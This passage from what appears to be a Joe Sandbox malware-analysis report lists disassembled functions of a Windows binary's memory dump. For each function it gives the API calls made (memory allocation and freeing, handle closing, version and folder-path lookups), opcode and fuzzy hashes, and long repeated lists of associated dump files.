Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: a0de470e1f14794b78e58aa70d18ef7f8e21fffff94fa09a7533c392c76b88b5
Instruction ID: 8a14ba7ab11b89a641ceac444d52b60f2a9c9513a0e4debcde0c3c6ea24fabee
Opcode Fuzzy Hash: a0de470e1f14794b78e58aa70d18ef7f8e21fffff94fa09a7533c392c76b88b5
Instruction Fuzzy Hash: 3BF0AFB002A200DFDA109BACFE48B1E3BACE754305F40461AB1254A2F4C77C9884EB20

Function 009441F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00944619: __FF_MSGBANNER.LIBCMT ref: 00944632
Part of subcall function 00944619: __NMSG_WRITE.LIBCMT ref: 00944639
Part of subcall function 00944619: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,00925B93,?), ref: 0094465E

std::exception::exception.LIBCMT ref: 00944247
std::exception::exception.LIBCMT ref: 00944261

Strings

bad allocation, xrefs: 00944240

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateHeap
String ID: bad allocation
API String ID: 1818040023-2104205924
Opcode ID: affc6dd2823fa80b7e4bb42da7d6b63cfd4a65757468a94c86fccf7ed6ecef6f
Instruction ID: af44464820c430e3494e01c4d8e2b50b6ecab97e8d8b328df413676f781213fd
Opcode Fuzzy Hash: affc6dd2823fa80b7e4bb42da7d6b63cfd4a65757468a94c86fccf7ed6ecef6f
Instruction Fuzzy Hash: 1BF02231514218AAEF10FF68EC42F9E7BEDAB80718F10041AF928A6191DFF09A04D780

Function 0093C090 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

RtlGetVersion.NTDLL(0000011C), ref: 0093C0DA

Strings

RtlGetVersion, xrefs: 0093C0A3
NTDLL, xrefs: 0093C0A8

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Version
String ID: NTDLL$RtlGetVersion
API String ID: 1889659487-3678323915
Opcode ID: 2bcdaa5961c01c8f307c000904799b7da691215e050d3f7563c8e2477ee8a3bc
Instruction ID: cdb3f62972a430089ab06965168126ef5561a2c0d4120877145f38332c97cae4
Opcode Fuzzy Hash: 2bcdaa5961c01c8f307c000904799b7da691215e050d3f7563c8e2477ee8a3bc
Instruction Fuzzy Hash: D3F03070D4622C8BDB34EB64EC09BD8B7B8AB0D315F0001D59D4863280DB745AE4CF58

Function 00942840 Relevance: 5.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018), ref: 0094284A

Part of subcall function 0092FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0092FE74
Part of subcall function 0092FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0092FEB2
Part of subcall function 0092FE20: __snwprintf.LIBCMT ref: 0092FEDA
Part of subcall function 0092FE20: CoTaskMemFree.COMBASE(?), ref: 0092FEF5

LocalFree.KERNEL32(00000000), ref: 009428B8
LocalFree.KERNEL32(00000000), ref: 009428C7
LocalFree.KERNEL32(00000000), ref: 009428D1

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$FolderKnownPathTask__snwprintf
String ID:
API String ID: 2970491683-0
Opcode ID: 6133d6de6a322f899cbe9ea8f328fe12c5074d9125d4f0a2449ab19dc532f653
Instruction ID: 64f5173ed23413ec1ff821a05956e9fc1af3484a2390eaf83b5aa0f5515df19d
Opcode Fuzzy Hash: 6133d6de6a322f899cbe9ea8f328fe12c5074d9125d4f0a2449ab19dc532f653
Instruction Fuzzy Hash: 7921B6B8D14208EFDB04DF98D989EADBBB5BF8C310F108599E905A7390D734AA40DF60

Function 00939A80 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00939C80
LocalFree.KERNEL32(00000000), ref: 00939C8A
CloseHandle.KERNEL32(00000000), ref: 00939C96
LocalFree.KERNEL32(00000000), ref: 00939CA0

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 3a31b1f64d41a36d6b03649e2d9dc924926479c69fc0ab5c82d82f793e76ea11
Instruction ID: 833471df7312bfef6168eca5c039cad571ddd461f85ef8e22140bf8c7213de40
Opcode Fuzzy Hash: 3a31b1f64d41a36d6b03649e2d9dc924926479c69fc0ab5c82d82f793e76ea11
Instruction Fuzzy Hash: D801B6B5A14208EFCB14DFE8DD8899EBBB9AF49301F104695F90A97350CA359E80DF60

Function 00939AB6 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00939C80
LocalFree.KERNEL32(00000000), ref: 00939C8A
CloseHandle.KERNEL32(00000000), ref: 00939C96
LocalFree.KERNEL32(00000000), ref: 00939CA0

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: fc22caf6488c005a5cb3fa1b20d5b3ec41b39cdcc36dd0218e014cbd7eba6f55
Instruction ID: 833471df7312bfef6168eca5c039cad571ddd461f85ef8e22140bf8c7213de40
Opcode Fuzzy Hash: fc22caf6488c005a5cb3fa1b20d5b3ec41b39cdcc36dd0218e014cbd7eba6f55
Instruction Fuzzy Hash: D801B6B5A14208EFCB14DFE8DD8899EBBB9AF49301F104695F90A97350CA359E80DF60

Function 00939AEF Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00939C80
LocalFree.KERNEL32(00000000), ref: 00939C8A
CloseHandle.KERNEL32(00000000), ref: 00939C96
LocalFree.KERNEL32(00000000), ref: 00939CA0

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
